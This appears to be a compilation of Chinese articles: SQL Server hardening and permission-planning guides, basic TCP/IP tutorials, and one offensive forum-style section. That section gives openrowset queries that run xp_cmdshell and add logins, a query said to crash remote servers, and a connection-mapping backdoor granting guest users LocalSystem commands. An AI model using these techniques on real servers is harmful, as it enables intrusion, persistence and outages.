由于SQL Server不能更改sa用户名称，也不能删除这个超级用户，所以，我们必须对这个帐号进行最强的保护，当然，包括使用一个非常强壮的密码，最好不要在数据库应用中使用sa帐号，只有当没有其它方法登录到 SQL Server 实例（例如，当其它系统管理员不可用或忘记了密码）时才使用 sa。建议数据库管理员新建立一个拥有与sa一样权限的超级用户来管理数据库。安全的帐号策略还包括不要让管理员权限的帐号泛滥。
SQL Server的认证模式有Windows身份认证和混合身份认证两种。如果数据库管理员不希望操作系统管理员来通过操作系统登陆来接触数据库的话，可以在帐号管理中把系统帐号“BUILTIN\Administrators”删除。不过这样做的结果是一旦sa帐号忘记密码的话，就没有办法来恢复了。
很多主机使用数据库应用只是用来做查询、修改等简单功能的，请根据实际需要分配帐号，并赋予仅仅能够满足应用要求和需要的权限。比如，只要查询功能的，那么就使用一个简单的public帐号能够select就可以了。

3、加强数据库日志的记录。
审核数据库登录事件的“失败和成功”，在实例属性中选择“安全性”，将其中的审核级别选定为全部，这样在数据库系统和操作系统日志里面，就详细记录了所有帐号的登录事件。如图：

请定期查看SQL Server日志检查是否有可疑的登录事件发生，或者使用DOS命令。
findstr /C:"登录" d:\Microsoft SQL Server\MSSQL\LOG\*.*

4、管理扩展存储过程
对存储过程进行大手术，并且对帐号调用扩展存储过程的权限要慎重。其实在多数应用中根本用不到多少系统的存储过程，而SQL Server的这么多系统存储过程只是用来适应广大用户需求的，所以请删除不必要的存储过程，因为有些系统的存储过程能很容易地被人利用起来提升权限或进行破坏。
如果你不需要扩展存储过程xp_cmdshell请把它去掉。使用这个SQL语句：
use master
sp_dropextendedproc 'xp_cmdshell'
xp_cmdshell是进入操作系统的最佳捷径，是数据库留给操作系统的一个大后门。如果你需要这个存储过程，请用这个语句也可以恢复过来。
sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'
sp_addextendedproc 'xp_cmdshell', 'xplog70.dll'

如果你不需要请丢弃OLE自动存储过程（会造成管理器中的某些特征不能使用），这些过程包括如下：
Sp_OACreate Sp_OADestroy Sp_OAGetErrorInfo Sp_OAGetProperty
Sp_OAMethod Sp_OASetProperty Sp_OAStop
去掉不需要的注册表访问的存储过程，注册表存储过程甚至能够读出操作系统管理员的密码来，如下：
Xp_regaddmultistring Xp_regdeletekey Xp_regdeletevalue Xp_regenumvalues
Xp_regread Xp_regremovemultistring Xp_regwrite
还有一些其他的扩展存储过程，你也最好检查检查。
在处理存储过程的时候，请确认一下，避免造成对数据库或应用程序的伤害。

5、使用协议加密
SQL Server 2000使用的Tabular Data Stream协议来进行网络数据交换，如果不加密的话，所有的网络传输都是明文的，包括密码、数据库内容等等，这是一个很大的安全威胁。能被人在网络中截获到他们需要的东西，包括数据库帐号和密码。所以，在条件容许情况下，最好使用SSL来加密协议，当然，你需要一个证书来支持。

6、不要让人随便探测到你的TCP/IP端口
默认情况下，SQL Server使用1433端口监听，很多人都说SQL Server配置的时候要把这个端口改变，这样别人就不能很容易地知道使用的什么端口了。可惜，通过微软未公开的1434端口的UDP探测可以很容易知道SQL Server使用的什么TCP/IP端口了（请参考《深入探索SQL Server网络连接的安全问题》）。
不过微软还是考虑到了这个问题，毕竟公开而且开放的端口会引起不必要的麻烦。在实例属性中选择TCP/IP协议的属性。选择隐藏 SQL Server 实例。如果隐藏了 SQL Server 实例，则将禁止对试图枚举网络上现有的 SQL Server 实例的客户端所发出的广播作出响应。这样，别人就不能用1434来探测你的TCP/IP端口了（除非用Port Scan）。

7、修改TCP/IP使用的端口
请在上一步配置的基础上，更改原默认的1433端口。在实例属性中选择网络配置中的TCP/IP协议的属性，将TCP/IP使用的默认端口变为其他端口。如图：

9、拒绝来自1434端口的探测
由于1434端口探测没有限制，能够被别人探测到一些数据库信息，而且还可能遭到DOS攻击让数据库服务器的CPU负荷增大，所以对Windows 2000操作系统来说，在IPSec过滤拒绝掉1434端口的UDP通讯，可以尽可能地隐藏你的SQL Server。

10、对网络连接进行IP限制
SQL Server 2000数据库系统本身没有提供网络连接的安全解决办法，但是Windows 2000提供了这样的安全机制。使用操作系统自己的IPSec可以实现IP数据包的安全性。请对IP连接进行限制，只保证自己的IP能够访问，也拒绝其他IP进行的端口连接，把来自网络上的安全威胁进行有效的控制。
关于IPSec的使用请参看：http://www.microsoft.com/china/technet/security/ipsecloc.asp

上面主要介绍的一些SQL Server的安全配置，经过以上的配置，可以让SQL Server本身具备足够的安全防范能力。当然，更主要的还是要加强内部的安全控制和管理员的安全培训，而且安全性问题是一个长期的解决过程，还需要以后进行更多的安全维护。


SQL Server安全规划

在改进SQL Server 7.0系列所实现的安全机制的过程中，[M$]建立了一种既灵活又强大的安全管理机制，它能够对用户访问SQL Server服务器系统和数据库的安全进行全面地管理。按照本文介绍的步骤，你可以为SQL Server 7.0（或2000）构造出一个灵活的、可管理的安全策略，而且它的安全性经得起考验。
一、验证方法选择
本文对验证（authentication）和授权（authorization）这两个概念作不同的解释。验证是指检验用户的身份标识；授权是指允许用户做些什么。在本文的讨论中，验证过程在用户登录SQL Server的时候出现，授权过程在用户试图访问数据或执行命令的时候出现。
构造安全策略的第一个步骤是确定SQL Server用哪种方式验证用户。SQL Server的验证是把一组帐户、密码与Master数据库Sysxlogins表中的一个清单进行匹配。Windows NT/2000的验证是请求域控制器检查用户身份的合法性。一般地，如果服务器可以访问域控制器，我们应该使用Windows NT/2000验证。域控制器可以是Win2K服务器，也可以是NT服务器。无论在哪种情况下，SQL Server都接收到一个访问标记（Access Token）。访问标记是在验证过程中构造出来的一个特殊列表，其中包含了用户的SID（安全标识号）以及一系列用户所在组的SID。正如本文后面所介绍的，SQL Server以这些SID为基础授予访问权限。注意，操作系统如何构造访问标记并不重要，SQL Server只使用访问标记中的SID。也就是说，不论你使用SQL Server 2000、SQL Server 7.0、Win2K还是NT进行验证都无关紧要，结果都一样。
如果使用SQL Server验证的登录，它最大的好处是很容易通过Enterprise Manager实现，最大的缺点在于SQL Server验证的登录只对特定的服务器有效，也就是说，在一个多服务器的环境中管理比较困难。使用SQL Server进行验证的第二个重要的缺点是，对于每一个数据库，我们必须分别地为它管理权限。如果某个用户对两个数据库有相同的权限要求，我们必须手工设置两个数据库的权限，或者编写脚本设置权限。如果用户数量较少，比如25个以下，而且这些用户的权限变化不是很频繁，SQL Server验证的登录或许适用。但是，在几乎所有的其他情况下（有一些例外情况，例如直接管理安全问题的应用），这种登录方式的管理负担将超过它的优点。
二、Web环境中的验证
即使最好的安全策略也常常在一种情形前屈服，这种情形就是在Web应用中使用SQL Server的数据。在这种情形下，进行验证的典型方法是把一组SQL Server登录名称和密码嵌入到Web服务器上运行的程序，比如ASP页面或者CGI脚本；然后，由Web服务器负责验证用户，应用程序则使用它自己的登录帐户（或者是系统管理员sa帐户，或者为了方便起见，使用Sysadmin服务器角色中的登录帐户）为用户访问数据。
这种安排有几个缺点，其中最重要的包括：它不具备对用户在服务器上的活动进行审核的能力，完全依赖于Web应用程序实现用户验证，当SQL Server需要限定用户权限时不同的用户之间不易区别。如果你使用的是IIS 5.0或者IIS 4.0，你可以用四种方法验证用户。第一种方法是为每一个网站和每一个虚拟目录创建一个匿名用户的NT帐户。此后，所有应用程序登录SQL Server时都使用该安全环境。我们可以通过授予NT匿名帐户合适的权限，改进审核和验证功能。
第二种方法是让所有网站使用Basic验证。此时，只有当用户在对话框中输入了合法的帐户和密码，IIS才会允许他们访问页面。IIS依靠一个NT安全数据库实现登录身份验证，NT安全数据库既可以在本地服务器上，也可以在域控制器上。当用户运行一个访问SQL Server数据库的程序或者脚本时，IIS把用户为了浏览页面而提供的身份信息发送给服务器。如果你使用这种方法，应该记住：在通常情况下，浏览器与服务器之间的密码传送一般是不加密的，对于那些使用Basic验证而安全又很重要的网站，你必须实现SSL（Secure Sockets Layer，安全套接字层）。
在客户端只使用IE 5.0、IE 4.0、IE 3.0浏览器的情况下，你可以使用第三种验证方法。你可以在Web网站上和虚拟目录上都启用NT验证。IE会把用户登录计算机的身份信息发送给IIS，当该用户试图登录SQL Server时IIS就使用这些登录信息。使用这种简化的方法时，我们可以在一个远程网站的域上对用户身份进行验证（该远程网站登录到一个与运行着Web服务器的域有着信任关系的域）。
最后，如果用户都有个人数字证书，你可以把那些证书映射到本地域的NT帐户上。个人数字证书与服务器数字证书以同样的技术为基础，它证明用户身份标识的合法性，所以可以取代NT的Challenge/Response（质询/回应）验证算法。Netscape和IE都自动在每一个页面请求中把证书信息发送给IIS。IIS提供了一个让管理员把证书映射到NT帐户的工具。因此，我们可以用数字证书取代通常的提供帐户名字和密码的登录过程。
由此可见，通过NT帐户验证用户时我们可以使用多种实现方法。即使当用户通过IIS跨越Internet连接SQL Server时，选择仍旧存在。因此，你应该把NT验证作为首选的用户身份验证办法。
三、设置全局组
构造安全策略的下一个步骤是确定用户应该属于什么组。通常，每一个组织或应用程序的用户都可以按照他们对数据的特定访问要求分成许多类别。例如，会计应用软件的用户一般包括：数据输入操作员，数据输入管理员，报表编写员，会计师，审计员，财务经理等。每一组用户都有不同的数据库访问要求。
控制数据访问权限最简单的方法是，对于每一组用户，分别地为它创建一个满足该组用户权限要求的、域内全局有效的组。我们既可以为每一个应用分别创建组，也可以创建适用于整个企业的、涵盖广泛用户类别的组。然而，如果你想要能够精确地了解组成员可以做些什么，为每一个应用程序分别创建组是一种较好的选择。例如，在前面的会计系统中，我们应该创建Data Entry Operators、Accounting Data Entry Managers等组。请记住，为了简化管理，最好为组取一个能够明确表示出作用的名字。
除了面向特定应用程序的组之外，我们还需要几个基本组。基本组的成员负责管理服务器。按照习惯，我们可以创建下面这些基本组：SQL Server Administrators，SQL Server Users，SQL Server Denied Users，SQL Server DB Creators，SQL Server Security Operators，SQL Server Database Security Operators，SQL Server Developers，以及 DB_Name Users（其中DB_Name是服务器上一个数据库的名字）。当然，如果必要的话，你还可以创建其他组。
创建了全局组之后，接下来我们可以授予它们访问SQL Server的权限。首先为SQL Server Users创建一个NT验证的登录并授予它登录权限，把Master数据库设置为它的默认数据库，但不要授予它访问任何其他数据库的权限，也不要把这个登录帐户设置为任何服务器角色的成员。接着再为SQL Server Denied Users重复这个过程，但这次要拒绝登录访问。在SQL Server中，拒绝权限始终优先。创建了这两个组之后，我们就有了一种允许或拒绝用户访问服务器的便捷方法。
为那些没有直接在Sysxlogins系统表里面登记的组授权时，我们不能使用Enterpris Managr，因为Enterprise Manager只允许我们从现有登录名字的列表选择，而不是域内所有组的列表。要访问所有的组，请打开Query Analyzer，然后用系统存储过程sp_addsrvrolemember以及sp_addrolemember进行授权。
对于操作服务器的各个组，我们可以用sp_addsrvrolemember存储过程把各个登录加入到合适的服务器角色：SQL Server Administrators成为Sysadmins角色的成员，SQL Server DB Creators成为Dbcreator角色的成员，SQL Server Security Operators成为Securityadmin角色的成员。注意sp_addsrvrolemember存储过程的第一个参数要求是帐户的完整路径。例如，BigCo域的JoeS应该是bigcojoes（如果你想用本地帐户，则路径应该是server_namejoes）。
要创建在所有新数据库中都存在的用户，你可以修改Model数据库。为了简化工作，SQL Server自动把所有对Model数据库的改动复制到新的数据库。只要正确运用Model数据库，我们无需定制每一个新创建的数据库。另外，我们可以用sp_addrolemember存储过程把SQL Server Security Operators加入到db_securityadmin，把SQL Server Developers加入到db_owner角色。
注意我们仍然没有授权任何组或帐户访问数据库。事实上，我们不能通过Enterprise Manager授权数据库访问，因为Enterprise Manager的用户界面只允许我们把数据库访问权限授予合法的登录帐户。SQL Server不要求NT帐户在我们把它设置为数据库角色的成员或分配对象权限之前能够访问数据库，但Enterprise Manager有这种限制。尽管如此，只要我们使用的是sp_addrolemember存储过程而不是Enterprise Manager，就可以在不授予域内NT帐户数据库访问权限的情况下为任意NT帐户分配权限。
到这里为止，对Model数据库的设置已经完成。但是，如果你的用户群体对企业范围内各个应用数据库有着类似的访问要求，你可以把下面这些操作移到Model数据库上进行，而不是在面向特定应用的数据库上进行。
四、允许数据库访问
在数据库内部，与迄今为止我们对登录验证的处理方式不同，我们可以把权限分配给角色而不是直接把它们分配给全局组。这种能力使得我们能够轻松地在安全策略中使用SQL Server验证的登录。即使你从来没有想要使用SQL Server登录帐户，本文仍旧建议分配权限给角色，因为这样你能够为未来可能出现的变化做好准备。
创建了数据库之后，我们可以用sp_grantdbaccess存储过程授权DB_Name Users组访问它。但应该注意的是，与sp_grantdbaccess对应的sp_denydbaccess存储过程并不存在，也就是说，你不能按照拒绝对服务器访问的方法拒绝对数据库的访问。如果要拒绝数据库访问，我们可以创建另外一个名为DB_Name Denied Users的全局组，授权它访问数据库，然后把它设置为db_denydatareader以及db_denydatawriter角色的成员。注意SQL语句权限的分配，这里的角色只限制对对象的访问，但不限制对DDL（Data Definition Language，数据定义语言）命令的访问。
正如对登录过程的处理，如果访问标记中的任意SID已经在Sysusers系统表登记，SQL将允许用户访问数据库。因此，我们既可以通过用户的个人NT帐户SID授权用户访问数据库，也可以通过用户所在的一个（或者多个）组的SID授权。为了简化管理，我们可以创建一个名为DB_Name Users的拥有数据库访问权限的全局组，同时不把访问权授予所有其他的组。这样，我们只需简单地在一个全局组中添加或者删除成员就可以增加或者减少数据库用户。
五、分配权限
实施安全策略的最后一个步骤是创建用户定义的数据库角色，然后分配权限。完成这个步骤最简单的方法是创建一些名字与全局组名字配套的角色。例如对于前面例子中的会计系统，我们可以创建Accounting Data Entry Operators、Accounting Data Entry Managers之类的角色。由于会计数据库中的角色与帐务处理任务有关，你可能想要缩短这些角色的名字。然而，如果角色名字与全局组的名字配套，你可以减少混乱，能够更方便地判断出哪些组属于特定的角色。
创建好角色之后就可以分配权限。在这个过程中，我们只需用到标准的GRANT、REVOKE和DENY命令。但应该注意DENY权限，这个权限优先于所有其他权限。如果用户是任意具有DENY权限的角色或者组的成员，SQL Server将拒绝用户访问对象。
接下来我们就可以加入所有SQL Server验证的登录。用户定义的数据库角色可以包含SQL Server登录以及NT全局组、本地组、个人帐户，这是它最宝贵的特点之一。用户定义的数据库角色可以作为各种登录的通用容器，我们使用用户定义角色而不是直接把权限分配给全局组的主要原因就在于此。
由于内建的角色一般适用于整个数据库而不是单独的对象，因此这里建议你只使用两个内建的数据库角色,，即db_securityadmin和db_owner。其他内建数据库角色，例如db_datareader，它授予对数据库里面所有对象的SELECT权限。虽然你可以用db_datareader角色授予SELECT权限，然后有选择地对个别用户或组拒绝SELECT权限，但使用这种方法时，你可能忘记为某些用户或者对象设置权限。一种更简单、更直接而且不容易出现错误的方法是为这些特殊的用户创建一个用户定义的角色，然后只把那些用户访问对象所需要的权限授予这个用户定义的角色。
六、简化安全管理
SQL Server验证的登录不仅能够方便地实现，而且与NT验证的登录相比，它更容易编写到应用程序里。但是，如果用户的数量超过25，或者服务器数量在一个以上，或者每个用户都可以访问一个以上的数据库，或者数据库有多个管理员，SQL Server验证的登录不容易管理。由于SQL Server没有显示用户有效权限的工具，要记忆每个用户具有哪些权限以及他们为何要得到这些权限就更加困难。即使对于一个数据库管理员还要担负其他责任的小型系统，简化安全策略也有助于减轻问题的复杂程度。因此，首选的方法应该是使用NT验证的登录，然后通过一些精心选择的全局组和数据库角色管理数据库访问。
下面是一些简化安全策略的经验规则：

· 用户通过SQL Server Users组获得服务器访问，通过DB_Name Users组获得数据库访问。
· 用户通过加入全局组获得权限，而全局组通过加入角色获得权限，角色直接拥有数据库里的权限。
· 需要多种权限的用户通过加入多个全局组的方式获得权限。
只要规划得恰当，你能够在域控制器上完成所有的访问和权限维护工作，使得服务器反映出你在域控制器上进行的各种设置调整。虽然实际应用中情况可能有所变化，但本文介绍的基本措施仍旧适用，它们能够帮助你构造出很容易管理的安全策略


sql server新漏洞和一些突破口

下面我要谈到一些sqlserver新的bug，虽然本人经过长时间的努力，当然也有点幸运的成分在内,才得以发现，不敢一个人独享，拿出来请大家鉴别,当然很有可能有些高手早已知道了，毕竟我接触sqlserver的时间不到1年：P

1。关于openrowset和opendatasource
可能这个技巧早有人已经会了，就是利用openrowset发送本地命令
通常我们的用法是（包括MSDN的列子）如下
select * from openrowset('sqloledb','myserver';'sa';'','select * from table')
可见（即使从字面意义上看)openrowset只是作为一个快捷的远程数据库访问，它必须跟在select后面，也就是说需要返回一个recordset
那么我们能不能利用它调用xp_cmdshell呢？答案是肯定的！
select * from openrowset('sqloledb','server';'sa';'','set fmtonly off exec master.dbo.xp_cmdshell ''dir c:\''')
必须加上set fmtonly off用来屏蔽默认的只返回列信息的设置，这样xp_cmdshell返回的output集合就会提交给前面的select显示，如果采用默认设置，会返回空集合导致select出错，命令也就无法执行了。
那么如果我们要调用sp_addlogin呢，他不会像xp_cmdshell返回任何集合的，我们就不能再依靠fmtonly设置了，可以如下操作
select * from openrowset('sqloledb','server';'sa';'','select ''OK!'' exec master.dbo.sp_addlogin Hectic')
这样，命令至少会返回select 'OK!'的集合，你的机器商会显示OK!，同时对方的数据库内也会增加一个Hectic的账号，也就是说，我们利用select 'OK!'的返回集合欺骗了本地的select请求，是命令能够正常执行，通理sp_addsrvrolemember和opendatasource也可以如此操作！至于这个方法真正的用处，大家慢慢想吧：P

2。关于msdasql两次请求的问题
不知道大家有没有试过用msdasql连接远程数据库，当然这个api必须是sqlserver的管理员才可以调用，那么如下
select * from openrowset('msdasql','driver={sql server};server=server;address=server,1433;uid=sa;pwd=;database=master;network=dbmssocn','select * from table1 select * from table2')
当table1和table2的字段数目不相同时，你会发现对方的sqlserver崩溃了，连本地连接都会失败，而系统资源占用一切正常，用pskill杀死sqlserver进程后，如果不重启机器，sqlserver要么无法正常启动，要么时常出现非法操作，我也只是碰巧找到这个bug的，具体原因我还没有摸透，而且很奇怪的是这个现象只出现在msdasql上，sqloledb就没有这个问题，看来问题不是在于请求集合数目和返回集合数目不匹配上，因该还是msdasql本身的问题，具体原因，大家一起慢慢研究吧：P

3。可怕的后门
以前在网上看到有人说在sqlserver上留后门可以通过添加triger,jobs或改写sp_addlogin和sp_addsrvrolemember做到，这些方法当然可行，但是很容易会被发现。不知道大家有没有想过sqloledb的本地连接映射。呵呵，比如你在对方的sqlserver上用sqlserver的管理员账号执行如下的命令
select * from openrowset('sqloledb','trusted_connection=yes;data source=Hectic','set fmtonly off exec master..xp_cmdshell ''dir c:\''')
这样在对方的sqlserver上建立了一个名为Hectic的本地连接映射，只要sqlserver不重启，这个映射会一直存在下去，至少我现在还不知道如何发现别人放置的连接映射
，好了，以上的命令运行过后，你会发现哪怕是sqlserver没有任何权限的guest用户，运行以上这条命令也一样能通过！而且权限是localsystem！（默认安装）呵呵！这个方法可以用来在以被入侵过获得管理员权限的sqlserver上留下一个后门了。

以上的方法在sqlserver2000+sqlserver2000SP1上通过！

*另外还有一个猜测，不知道大家有没有注意过windows默认附带的两个dsn，一个是localserver一个是msqi，这两个在建立的时候是本地管理员账号连接sqlserver的，如果对方的sqlserver是通过自定义的power user启动，那么sa的权限就和power user一样，很难有所大作为，但是我们通过如下的命令
select * from openrowset('msdasql','dsn=locaserver;trusted_connection=yes','set fmtonly off exec master..xp_cmdshell ''dir c:\''')应该可以利用localserver的管理员账号连接本地sqlserver然后再以这个账号的权限执行本地命令了，这是后我想应该能突破sa那个power user权限了。现在的问题是sqloledb无法调用dsn连接，而msdasql非管理员不让调用，所以我现在正在寻找guest调用msdasql的方法，如果有人知道这个bug如何突破，或有新的想法，我们可以一起讨论一下，这个发放如果能成功被guest利用，将会是一个很严重的安全漏洞。因为我们前面提到的任何sql语句都可以提交给对方的asp去帮我们执行


TCP/IP协议(1.网络通讯)

TCP/IP协议

1.网络通讯

通讯与分布式

    通讯系统对跨地域的各种系统资源（如数据、计算能力、程序等等）提供交互式的环境，它对于分布式的信息来说是必不可少的条件。通讯系统支持分布式节点间的软件与硬件的集合，并提供物理链路的网络将各节点连接起来。

    在一个分布式系统中，一个实体的名字代表一个系统、进程或节点。“地址”代表实体的位置，“路由”则表示如何到达该实体。

    在一个分布式系统中，数据是最普通的共享资源。对分布的数据进行复制，可以提高可靠性。通讯系统用来在不同网点、系统和程序间传输数据和数据请求。

    虽然互联系统不一定构成一个分布式系统，但进行信息交换和数据备分的通讯系统可以认为是一个分布式系统。

通讯系统功能

命名和寻址
分段
流量控制
同步
优先级
差错控制
层、协议和接口

    通讯系统实现了同种系统和异种系统间的开放互联。但由于通讯系统非常复杂，所以将其划分为不同的层，表示某些形式上的模型。分层结构与程序化结构设计的目标一致：用清楚定义的接口来定义结构化模块。

通信的一个分层模型

认知层：计算机用户界面
语言层：ASCII，EBCDIC
物理传输层：电器、无线电、光信号
2.客户/服务器计算的分层模型

应用程序层：完成应用程序进程的管理、数据分布、进程间通信、应用程序功能分解到分布式进程中等任务。

分布式操作系统层：该层提供应用程序层所需的全系统范围内的分布式服务。它支持全局的名字、目录、寻址、局部资源的共享、保护与同步、交互通信和恢复。分布式操作系统将分布式功能统一到单一的逻辑实体中，并创建“单一统一映像”（Single System Image 即SSI)。

本地管理与内核层：该层支持独立节点上的分布式操作系统。它支持本地进程间通信、存储器和I/O访问、保护及多任务。该层为高层提供支持，并与其他节点上的对等层通信。

通信系统层：该层提供应用程序层、分布式操作系统层和本地管理层所需的通信。

层之间的通信也受协议支配。协议包括信息交换的格式和顺序、传输和接收信息时的措施。穿过两个相邻层边界的信息交换的规则和格式构成了层间的接口。

3.OSI 通信模型的七层

开放系统互联（OSI）模型将数据从一个站点达到另一站点的工作分成七个不同的任务。这些任务分层管理，每层都对数据包进行封装/解封。

何谓包？即通过网络，以位（bit）为单位的束传递的数据。又称数据报。

每个包又分为四个部分：

前导符通知接受方：包即将到来

包头指明包的来源、去向，以及包的类型（是数据包还是网络控制信息包）。

包所携带的数据

最后的检错位和包结束符。

OSI 七层模型

物理层

数据链路层

网络层

传输层

会晤层

表示层

应用层

物理层

将数据从网络接口卡送到通信系统中时，由物理层产生物理脉冲，电流脉冲和光学信号脉冲。物理层处理的单位是Bits

数据链路层

数据链路层将位收集起来，按包处理数据。该层完成发包前的最后封装，并对到达的包首次检试。不完整和有缺陷的包将被丢弃。如果链路层能判明有缺陷的包来自何处，就返回一个错误包。

网络层

网络层为网络上的包传递提供路由，并维护陆由表。 网络层对包进行过滤，减少了网络负载。IP协议就工作在此层。

路由器、网桥和网关等设备提供网络上的路由功能。

传输层：

TCP协议工作在此层。这是一个转换层，是最后一个管理路由包和错误纠正的层。它弥补网络上的不足。

会晤层：

会晤层是维持“面向连接”的传输的层次。在本层，建立和断开一个连接的过程，就是一个“捆绑”和“解捆”的会晤。本层没有检错的功能。TCP/IP的TCP过程，IBM的 Net BIOS和NetWare 的SPX都工作在本层。

表示层：

本层完成应用层数据所需的任何转换。数据压缩/解压和数据加密/解密在表示层进行。

数据格式的转换也在此层进行。

表示层是一个网络通信层，不直接与终端用户的显示设备打交道。

应用层

本层处理安全和资源可用性问题。

4、客户―服务器体系结构

为了实现网络上的资源共享，通常通过两个独立的程序来完成，它们分别运行在网络的不同计算机上。提供资源的计算机上的程序称为“服务器程序”，简称“服务器”；使用服务器资源的计算机上的程序称为“客户程序”，简称“客户”。

客户―服务器体系是将客户和服务器程序分别运行在不同的计算机上。作为一个 Internet的用户，只需学会如何使用各种客户程序，即等于掌握了Internet的用法。必须掌握以下几点：

如何启动该项服务的客户程序；

如何把要使用的服务器地址告诉客户程序；

掌握使用这类客户程序的基本命令。

客户―服务器体系结构的特点

1、由客户程序和服务器程序组成的一个共享资源的应用系统，他们一般在不同的主机上运行，从而简化了应用系统的程序设计过程。这些程序都是按照相同的通信协议设计的，因此可以在不同类型的计算机和不同操作系统下运行，且进行有效的数据传输。

2、把客户程序和服务程序分放在不同的主机上，可以降低应用系统对硬件技术的要求，诸如CPU的速度，内存的大小，磁盘的容量，使得各种规模的计算机，甚至于微机都可以作为Internet的主机使用，这也是Internet的特点之一。

3、由于客户程序可以与多个服务器程序进行链式连接，用户根据自己的需要灵活地访问多台主机。Internet的某些应用系统，正是应用客户程序和服务器程序的这种特点，加上其它技术手段，才有可能把部分或整个Internet资源变成一个统一的信息资源。


TCP/IP协议(TCP/IP服务内容)

TCP/IP协议

第三章 TCP/IP服务内容

TCP/IP是一个协议集。为应用提供一些“低级”功能，这些包括IP、TCP、UDP。其它是执行特定任务的应用协议，如计算机间传送文件、发送电子邮件、或找出谁注册到另外一台计算机。因此，最重要的“商业”TCP/IP服务有:

文件传送FileTransfer。

远程登录Remotelogin

计算机邮件Mail

网络文件系统(NFS)

远程打印(Remoteprinting)

远程执行(Remoteexecution)

名字服务器(Nameservers)

终端服务器(Terminalservers)

文件传送 File Transfer

文件传送协议FTP(FileTransferProtocol)允许用户从一台计算机到另一台取得文件，或发送文件到另外一台计算机。从安全性方面考虑，需要用户指定一个使用其它计算机的用户名和口令。它不同与NFS(NetworkFileSystem)和Netbios协议。一旦你要访问另一台系统中的文件，任何时刻都要运行FTP。而且你只能拷贝文件到自己的机器中去来使用它。(RFC959中关于FTP的说明)

远程登录Remote login

网络终端协议TELNET允许用户登录到网络上任一计算机上。你可启动一个远程进程连接到指定的计算机，直到进程结束，期间你所键入的内容被送到所指定的计算机。值得注意的是，这时你实际上是与你的计算机进行对话。TELENET程序使得你的计算机在整个过程中不见了，所敲的每一个字符直接送到所登录的计算机系统。一般的说，这种远程连接是通过类式拨号连接的，也就是，拨通后，远程系统提示你输入注册名和口令，退出远程系统，TELNET程序也就退出，你又与自己的计算机对话了。微电脑中的TELNET工具一般含有一个终端仿真程序。

计算机邮件Mail

允许你发送消息给其它计算机的用户。通常，人们趋向于使用指定的一台或两台计算机。计算机邮件系统只需你简单地往另一用户的邮件文件中添加信息，但随之产生问题，使用的微电脑的环境不同，还有重要的是宏(MICRO)不适合于接受计算机邮件。为了发送电子邮件，邮件软件希望连接到目的计算机，如果是微电脑，也许它已关机，或者正在运行另一个应用程序呢?出于这种原因，通常由一个较大的系统来处理这些邮件，也就是一个一直运行着的邮件服务器。邮件软件成为用户从邮件服务器取回邮件的一个界面。

TCP/IP工具提供上述这些服务。这些传统的应用功能在基于TCP/IP的网络中一直扮演非常重要的角色。目前情况有点变化，这些功能使用也发生变化，如老系统的改造，计算机的发展等，出现了各种安装版本，如:微电脑、工作站、小型机、和巨型机等。这些计算机好象在一起完成指定的任务，尽管有时看来像是只用到某个指定的计算机，但它是通过网络得到其它计算机系统的服务。服务器Server是为网络上其它提供指定服务的系统，客户Client是得到这种服务的另外计算机系统。(值得注意的是，服务/客户机不一定是不同的计算机，有可能是同一计算机中的不同运行程序)。以下是几种目前计算机上典型的一些服务，这些服务可在TCP/IP网络上调用。

网络文件系统(NFS)

这种访问另一计算机的文件的方法非常接近于流行的FTP。网络文件系统提供磁盘或设备服务，而无需特定的网络实用程序来访问另一系统的文件。可以简单地认为它是一个外加的磁盘驱动器。这种额外“虚拟”磁盘驱动器就是其它计算机系统的磁盘。这非常有用。你只需加大几台计算机的磁盘容量，就可使网络上其他用户访问它，且不说所带来的经济效益，它还能够让几台工作的计算机共享相同的文件。它也使得系统维护和备份易如反掌，因为再不必为大量的不同机器上的文件的升级和备份而担心。

远程打印(Remoteprinting)

允许你使用其它计算机上的打印机，好象这些打印机直接连到你的计算机上。

远程执行(Remote execution)

允许你请求运行在不同计算机上的特殊程序。当你在一个很小的计算机上运行一个需要大机系统资源的程序时，这时候远程执行非常有用。

名字服务器(Nameservers)

在一个大的系统安装过程中，需要用到大量的各种名字，包括用户名、口令，姓名、网络地址、帐号等，管理这些是非常令人乏味的。因此将这些数据形成数据库，放到一个小系统中去，其它系统通过网络来访问这些数据。

终端服务器(Terminalservers)

很多的终端连接安装不再直接将终端连到计算机，取而代之的是，将他们连接到终端服务器上。终端服务器是一个小的计算机，它只需知道怎样运行TELNET(或其它一些完成远程登录的协议)。如果你的终端想连上去，只用键入要连的计算机名就可。通常有可能同时有几个这种连接，这时终端服务器采用快速开关技术来切换。


TCP/IP协议(TCP/IP协议基础知识)

TCP/IP协议

第二章 TCP/IP协议基础知识

TCP/IP (Transmission Control Protocol/Internet Protocol)即传输控制协议/网间协议，是一个工业标准的协议集，它是为广域网(WANs)设计的。它是由ARPANET网的研究机构发展起来的。

TCP/IP协议是Internet上最基本的协议。其中IP协议提供了能适应各种网络硬件的灵活性，任何一个网络只要能够传送二进制数据，就可以使用IP协议加入Internet。 TCP协议向应用程序提供可靠的通信连接，它能够自动适应网上的各种变化，即使在网络暂时出现堵塞的情况下，TCP也能保证通信的可靠。

TCP协议和IP协议是互补的，两者结合保证了Internet在复杂的环境正常的运行。即使到现在，计算机已比TCP/IP刚诞生时的速度提高几百倍，数据传输量飞速增长的情况下， TCP/IP 仍能满足Internet网上的需要。

IP协议

Internet上使用的一个关键的底层协议是网际协议，通常称IP协议。IP非常详细的规定了计算机在通信时应遵循的规则，包括规定的全部细节。例如，分组包的组成，如何传送、如何接受等问题。

连接到Internet上的每台计算机都必须遵守IP协议，所产生的分组必须使用IP 规定的格式。为此使用Internet的每台计算机都必须运行IP 软件，以便时刻准备发送或接收分组。

Internet是个庞大的国际网络，连接地理区域很广，传送的距离相差甚远，加上线路有时拥挤又有时空闲，数据传输所用时间会时长时短。如何确定所需要的传送时间呢？TCP协议具有自动调整“超时值”的能力，它能极好的适应Internet网上的各种变化，确保传输数值的正确。

IP协议只保证计算机能发送和接受分组数据，但IP并不能解决数据传输中可能出现的问题。这个问题由TCP协议很好地解决了。

TCP与IP是在同一时期作为一个系统来设计的，并且在功能上也是相互配合、相互补充的。也就是说连接Internet的计算机必须同时使用这两个协议。因此在实际中常把这两个协议称作TCP/IP协议。

TCP协议

TCP的基本概念
TCP的协定分层原则
TCP的资料传输流程与资料封装的方式
TCP的主要特徵
TCP的传输资料结构
TCP的传输状态
TCP的基本概念

